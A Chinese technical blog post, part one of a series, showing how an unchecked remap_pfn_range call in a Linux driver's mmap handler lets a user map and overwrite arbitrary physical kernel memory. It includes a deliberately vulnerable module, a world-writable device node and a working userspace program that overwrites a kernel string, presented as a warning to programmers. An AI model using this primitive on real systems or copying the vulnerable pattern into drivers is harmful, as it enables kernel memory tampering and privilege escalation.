怎样在Linux内核中埋炸弹获取root权限<1/2>

首先申明,我是一个好人,nice值至少为0.本文章的目的是提醒程序员在编程中注意,以免让nice值很低的人为所欲为。本系列文章分为两篇,第一篇说明基本原理,第二篇是重头戏。

怎样在linux内核中任意践踏内存内容:

在内核驱动中经常会看到这样的代码:

static struct file_operations mmap_fops =
{
        .open = dev_open,
        .mmap = simple_mmap,
        .release = dev_release,
};

simple_mmap就是在内核中给应用层提供的对应的mmap接口函数。

在像simple_mmap类似函数里面经常会调用remap_pfn_range

/**
 * remap_pfn_range - remap kernel memory to userspace
 * @vma: user vma to map to
 * @addr: target user address to start at
 * @pfn: physical address of kernel memory
 * @size: size of map area
 * @prot: page protection flags for this mapping
 *
 *  Note: this is only safe if the mm semaphore is held when called.
 */
int remap_pfn_range(struct vm_area_struct *vma, unsigned long addr,
        unsigned long pfn, unsigned long size, pgprot_t prot)

这个函数的功能就是把一段虚拟地址映射到内核中的一段物理地址。

static int simple_mmap (struct file *filp, struct vm_area_struct *vma)
{       
        printk(KERN_INFO "Jeff: device mmap.\n");
        if (remap_pfn_range(vma, vma->vm_start, vma->vm_pgoff,
                                vma->vm_end - vma->vm_start, vma->vm_page_prot)

}

比如有的人疯了一样像上面这样写代码,这样就有些放飞自我了,这样就不做任何判断的把一段虚拟地址映射到内核中的任意物理地址。

我们现在利用上面的漏洞代码来修改任意一段指定的内存。

实验开始:

首先写一个小模块:kmalloc.ko

#include <linux/module.h>
#include <linux/init.h>
#include <linux/slab.h>

static char *p;

static __init int init_kmalloc(void)
{

        p = kmalloc(20, GFP_KERNEL);
        if (!p)
                return -1; 
        strcpy(p, "jeffnice+20");
        printk(KERN_INFO "phy:0x%llx\n", virt_to_phys(p));
        return 0;
}

static void __exit exit_kmalloc(void)
{
        printk(KERN_INFO "p string:%s\n", p); 
        kfree(p);
}
module_init(init_kmalloc);
module_exit(exit_kmalloc);

MODULE_AUTHOR("Jeff Xie");
MODULE_LICENSE("GPL");

这个模块加载进内核之后,会打印出p对应的物理地址。

在卸载的时候会打印出一段字符串,很显然会打印:jeffnice+20

但是我们让它打印jeffnice+20就没有什么看头了,比如我们利用上面的simple_mmap函数漏洞让这个kmalloc.ko模块在卸载的时候打印:

jeffnice-19.

接下来见证奇迹的时刻来了。

先编译此模块,然后 insmod kmalloc.ko 看到打印出p对应的物理地址:

[1158297.073811] phy:0x2adcd1e0

然后编译加载带有漏洞的模块代码 mmap-root.ko:(代码有删减)

/* 代码有删减 */
static int simple_mmap (struct file *filp, struct vm_area_struct *vma)
{
        remap_pfn_range(vma, vma->vm_start, vma->vm_pgoff,
                                vma->vm_end - vma->vm_start, vma->vm_page_prot)
     
}
static struct file_operations mmap_fops =
{
        .open = dev_open,
        .mmap = simple_mmap,
        .release = dev_release,
};
static int __init cve_mmap_init(void)
{
    int err = 0;

    pcdev = cdev_alloc();
    cdev_init(pcdev, &mmap_fops);
    err = alloc_chrdev_region(&ndev, 0, 1, "mmap_dev");
    printk("major = %d, minor = %d\n", MAJOR(ndev), MINOR(ndev));
    err = cdev_add(pcdev, ndev, 1)

insmod mmap-root.ko

dmesg:

[1157207.384411] major = 245, minor = 0

手动新建一个设备节点:

mknod -m 0666 /dev/mmap c 245 0

现在万事俱备,准备写一个应用程序来干大事:

        unsigned long mmapStart = 0x57575000;

        int fd = open("/dev/mmap", O_RDWR);
        if (fd < 0)
        {   
                printf("[-] open failed.\n");
                return -1; 
        }   
        size = 0xf0000000;
        addr = (unsigned long *)mmap((void*)mmapStart, size,
                PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); 
        if (addr == MAP_FAILED) {
                perror("[-]failed to mmap:");
                close(fd);
                return -1; 
        }   
        printf("[+]mmap ok addr : %lx\n", addr);
        while (((unsigned long)addr) < (mmapStart + size))
{
        count = 0;
        if (
        addr[count++] == 'j' &&
        addr[count++] == 'e' &&
        addr[count++] == 'f' &&
        addr[count++] == 'f' &&
        addr[count++] == 'n' &&
        addr[count++] == 'i' &&
        addr[count++] == 'c' &&
        addr[count++] == 'e' 
        ) { 
                printf("[+]found addr %p phy:0x%llx.\n",
                       addr, (unsigned long)addr - mmapStart);
                addr[count++] = '-';
                addr[count++] = '1';
                addr[count++] = '9';

          }   
                addr ++; 
        }   
        close(fd);
        return 0;
}

此程序的目的是映射虚拟地址 0x57575000 至 0x57575000+0xf0000000 到物理地址0x0 至 0xf0000000

然后从系统内存中搜索对应的含有"jeffnice"的小内存块,把接下来的后三个字节换成"-19"

gcc ./jeff-mmap.c -o jeff-mmap

root@jeff:# ./jeff-mmap

[+]mmap ok addr : 57575000

[+]found addr 0x5969eaa9 phy:0x2129aa9.

[+]found addr 0x6969b9e9 phy:0x121269e9.

[+]found addr 0x74da91fb phy:0x1d8341fb.

[+]found addr 0x781a1d5f phy:0x20c2cd5f.

[+]found addr 0x823421e0 phy:0x2adcd1e0.

[+]found addr 0x898e084d phy:0x3236b84d.

[+]found addr 0x90a580c4 phy:0x394e30c4.

[+]found addr 0xb857308b phy:0x60ffe08b.

[+]found addr 0xd172a092 phy:0x7a1b5092.

编译执行之后会看到在内存中找到了十个左右的内存块,都含有“jeffnice",其中有一个对应的物理内存是 0x2adcd1e0,这个正是上面kmalloc.ko模块中p的物理首地址。

然后卸载kmalloc.ko模块验证字符串输出

rmmod kmalloc

从dmesg信息中看到

[1158783.927631] p string:jeffnice-19

输出与预料一致。

觉得文章不错,可以点“好看”和打赏。

(完)

原文发布于微信公众号 - 相遇Linux(LinuxJeff)

原文发表时间:2019-07-12

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

扫码关注云+社区

领取腾讯云代金券